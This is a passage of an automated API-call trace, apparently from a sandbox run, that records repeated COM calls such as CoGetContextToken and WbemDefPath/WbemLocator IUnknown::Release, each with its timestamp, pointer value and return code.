| out: pToken=0x1aa6f480) returned 0x0 [0123.798] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x1 [0123.798] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x0 [0123.798] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.798] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x1 [0123.798] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x0 [0123.799] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x0 [0123.799] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x0 [0123.799] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x1 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x0 [0123.799] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x1 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x0 [0123.799] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x1 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x0 [0123.799] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x1 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x0 [0123.799] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x1 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x0 [0123.799] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.799] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x1 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x0 [0123.800] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x1 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x0 [0123.800] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x1 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x0 [0123.800] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x1 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x0 [0123.800] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x1 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x0 [0123.800] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x1 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x0 [0123.800] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x1 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x0 [0123.800] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4aece0) returned 0x1 [0123.800] WbemDefPath:IUnknown:Release (This=0x1b4aece0) returned 0x0 [0123.800] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x1 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x0 [0123.801] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x1 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x0 [0123.801] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x1 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x0 [0123.801] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x1 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x0 [0123.801] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x1 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x0 [0123.801] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x1 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x0 [0123.801] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x1 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x0 [0123.801] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x1 [0123.801] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x0 [0123.802] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.802] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x1 [0123.802] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x0 [0123.802] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.802] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x1 [0123.802] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x0 [0123.802] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.802] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x1 [0123.802] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x0 [0123.802] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.802] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x1 [0123.802] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x0 [0123.817] IUnknown:Release (This=0x1b4d7900) returned 0x0 [0123.821] IUnknown:Release (This=0x1b4521a0) returned 0x0 [0123.821] IUnknown:Release (This=0x643ae0) returned 0x0 [0123.821] IUnknown:Release (This=0x1b4d8350) returned 0x0 [0123.821] IUnknown:Release (This=0x1b4d86c0) returned 0x0 [0123.821] IUnknown:Release (This=0x1b4d7220) returned 0x0 [0123.821] IUnknown:Release (This=0x1b4d6eb0) returned 0x0 [0123.821] IUnknown:Release (This=0x1b4d6b40) returned 0x0 [0123.821] IUnknown:Release (This=0x1b4d7590) returned 0x0 [0123.821] IUnknown:Release (This=0x1b4d9b60) returned 0x0 [0123.826] IUnknown:Release (This=0x1b469f40) returned 0x0 [0123.826] IUnknown:Release (This=0x1b4d12b0) returned 0x0 [0123.826] IUnknown:Release (This=0x1b4da240) returned 0x0 [0123.826] IUnknown:Release (This=0x1b4d9ed0) returned 0x0 [0123.826] IUnknown:Release (This=0x1b4d7c70) returned 0x0 [0123.826] IUnknown:Release (This=0x1b4d97f0) returned 0x0 [0123.826] IUnknown:Release (This=0x1b4da5b0) returned 0x0 [0125.677] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0125.677] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.677] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x1 [0125.677] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x0 [0125.677] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.678] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x1 [0125.678] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x0 [0125.678] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.678] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x1 [0125.678] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x0 [0125.678] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.678] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x1 [0125.678] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x0 [0125.678] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.678] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x1 [0125.678] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x0 [0125.678] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.678] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x1 [0125.678] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x0 [0125.678] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.678] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x1 [0125.678] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x0 [0125.678] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.678] WbemDefPath:IUnknown:Release (This=0x6557f0) returned 0x1 [0125.678] WbemDefPath:IUnknown:Release (This=0x6557f0) returned 0x0 [0125.678] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.678] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x1 [0125.678] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x0 [0125.678] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.678] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x1 [0125.679] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x0 [0125.679] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.679] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x1 [0125.679] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x0 [0125.679] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.679] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x1 [0125.679] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x0 [0125.679] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.679] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x1 [0125.679] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x0 [0125.679] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.679] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x1 [0125.679] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x0 [0125.679] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.679] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x1 [0125.679] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x0 [0125.679] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.679] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x1 [0125.679] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x0 [0125.679] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.679] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x1 [0125.679] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x0 [0125.679] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.680] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x1 [0125.680] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x0 [0125.680] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.680] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x1 [0125.680] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x0 [0125.680] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.680] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x1 [0125.680] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x0 [0125.680] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.680] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x1 [0125.680] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x0 [0125.680] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.680] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x1 [0125.680] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x0 [0125.680] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0125.680] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.680] WbemLocator:IUnknown:Release (This=0x1b4827f0) returned 0x1 [0125.680] WbemLocator:IUnknown:Release (This=0x1b4827f0) returned 0x0 [0125.680] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.680] IUnknown:Release (This=0x1b4d7c70) returned 0x1 [0125.680] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.680] WbemLocator:IUnknown:Release (This=0x1b48ae90) returned 0x1 [0125.680] WbemLocator:IUnknown:Release (This=0x1b48ae90) returned 0x0 [0125.681] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.681] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x1 [0125.681] WbemLocator:IUnknown:Release (This=0x1b4ce710) returned 0x0 [0125.757] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.757] WbemLocator:IUnknown:Release (This=0x1b4d2b00) returned 0x1 [0125.757] WbemLocator:IUnknown:Release (This=0x1b4d2b00) returned 0x0 [0125.757] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.757] IUnknown:Release (This=0x1b4d9110) returned 0x1 [0125.757] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.757] WbemLocator:IUnknown:Release (This=0x1b4d1ee0) returned 0x1 [0125.757] WbemLocator:IUnknown:Release (This=0x1b4d1ee0) returned 0x0 [0125.757] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.757] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x1 [0125.757] WbemLocator:IUnknown:Release (This=0x1b4e0fb0) returned 0x0 [0125.758] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.758] WbemLocator:IUnknown:Release (This=0x1b4d1e00) returned 0x1 [0125.758] WbemLocator:IUnknown:Release (This=0x1b4d1e00) returned 0x0 [0125.758] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0125.758] IUnknown:Release (This=0x1b4d7fe0) returned 0x1 [0125.758] IUnknown:Release (This=0x1b425ad0) returned 0x0 [0125.758] IUnknown:Release (This=0x1b469f40) returned 0x0 [0125.758] IUnknown:Release (This=0x1b4d8da0) returned 0x0 [0125.759] IUnknown:Release (This=0x1b4d9480) returned 0x0 [0125.776] IUnknown:Release (This=0x1b4348a0) returned 0x0 [0125.776] IUnknown:Release (This=0x5f4840) returned 0x0 [0125.776] IUnknown:Release (This=0x1b4da240) returned 0x0 [0125.776] IUnknown:Release (This=0x1b4d8350) returned 0x0 [0125.776] IUnknown:Release (This=0x1b4d86c0) returned 0x0 [0125.776] IUnknown:Release (This=0x1b4d9b60) returned 0x0 [0125.776] IUnknown:Release (This=0x1b4d7c70) returned 0x0 [0125.776] IUnknown:Release (This=0x5f4590) returned 0x0 [0125.776] IUnknown:Release (This=0x66e390) returned 0x0 [0125.776] IUnknown:Release (This=0x1b4d9ed0) returned 0x0 [0125.776] IUnknown:Release (This=0x1b4d7900) returned 0x0 [0125.777] IUnknown:Release (This=0x1b4d8a30) returned 0x0 [0125.777] IUnknown:Release (This=0x1b4d97f0) returned 0x0 [0125.780] IUnknown:Release (This=0x1b4d9110) returned 0x0 [0127.506] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0127.506] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.506] WbemLocator:IUnknown:Release (This=0x1b483d70) returned 0x1 [0127.506] WbemLocator:IUnknown:Release (This=0x1b483d70) returned 0x0 [0127.506] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.506] WbemLocator:IUnknown:Release (This=0x1b511f38) returned 0x1 [0127.506] WbemLocator:IUnknown:Release (This=0x1b4e11f0) returned 0x0 [0127.609] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.609] IUnknown:Release (This=0x1b4d86c0) returned 0x1 [0127.609] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.609] WbemLocator:IUnknown:Release (This=0x1b511238) returned 0x1 [0127.609] WbemLocator:IUnknown:Release (This=0x1b4cfb50) returned 0x0 [0127.736] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.736] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x1 [0127.736] WbemLocator:IUnknown:Release (This=0x1b4e0590) returned 0x0 [0127.781] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.781] WbemLocator:IUnknown:Release (This=0x1b4837b0) returned 0x1 [0127.781] WbemLocator:IUnknown:Release (This=0x1b4837b0) returned 0x0 [0127.781] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.781] WbemLocator:IUnknown:Release (This=0x1b510bb8) returned 0x1 [0127.781] WbemLocator:IUnknown:Release (This=0x1b4ce8c0) returned 0x0 [0127.828] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.828] WbemLocator:IUnknown:Release (This=0x1b483150) returned 0x1 [0127.828] WbemLocator:IUnknown:Release (This=0x1b483150) returned 0x0 [0127.828] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.828] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x1 [0127.828] WbemLocator:IUnknown:Release (This=0x1b4e02c0) returned 0x0 [0127.837] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.837] IUnknown:Release (This=0x1b4d9ed0) returned 0x1 [0127.837] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.837] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x1 [0127.837] WbemLocator:IUnknown:Release (This=0x1b4cfc70) returned 0x0 [0127.849] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.849] WbemLocator:IUnknown:Release (This=0x1b482910) returned 0x1 [0127.849] WbemLocator:IUnknown:Release (This=0x1b482910) returned 0x0 [0127.849] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.849] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x1 [0127.849] WbemLocator:IUnknown:Release (This=0x1b4ce050) returned 0x0 [0127.853] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.853] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x1 [0127.854] WbemLocator:IUnknown:Release (This=0x1b4e1b80) returned 0x0 [0127.871] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0127.871] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.871] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x1 [0127.871] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x0 [0127.871] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.871] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x1 [0127.871] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x0 [0127.871] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.871] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x1 [0127.871] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x0 [0127.872] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.872] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x1 [0127.872] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x0 [0127.872] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.872] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x1 [0127.872] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x0 [0127.872] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.872] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x1 [0127.872] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x0 [0127.872] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.872] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x1 [0127.872] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x0 [0127.872] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.872] WbemDefPath:IUnknown:Release (This=0x656930) returned 0x1 [0127.872] WbemDefPath:IUnknown:Release (This=0x656930) returned 0x0 [0127.873] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x1 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x0 [0127.873] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x1 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x0 [0127.873] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x1 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x0 [0127.873] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x1 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x0 [0127.873] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.873] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x1 [0127.873] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x0 [0127.873] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x1 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x0 [0127.873] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x1 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x0 [0127.873] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x1 [0127.873] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x0 [0127.874] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.874] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x1 [0127.874] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x0 [0127.874] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.874] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x1 [0127.874] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x0 [0127.874] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.874] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0127.874] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x0 [0127.874] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.874] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x1 [0127.874] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x0 [0127.874] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.874] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x1 [0127.874] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x0 [0127.874] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.874] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x1 [0127.874] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x0 [0127.874] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.874] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x1 [0127.874] WbemDefPath:IUnknown:Release (This=0x656cf0) returned 0x0 [0127.874] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.874] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x1 [0127.874] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x0 [0127.874] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.875] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x1 [0127.875] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x0 [0127.875] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.875] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x1 [0127.875] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x0 [0127.875] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.875] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x1 [0127.875] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x0 [0127.875] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.875] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x1 [0127.875] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x0 [0127.875] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0127.875] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x1 [0127.875] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x0 [0127.875] 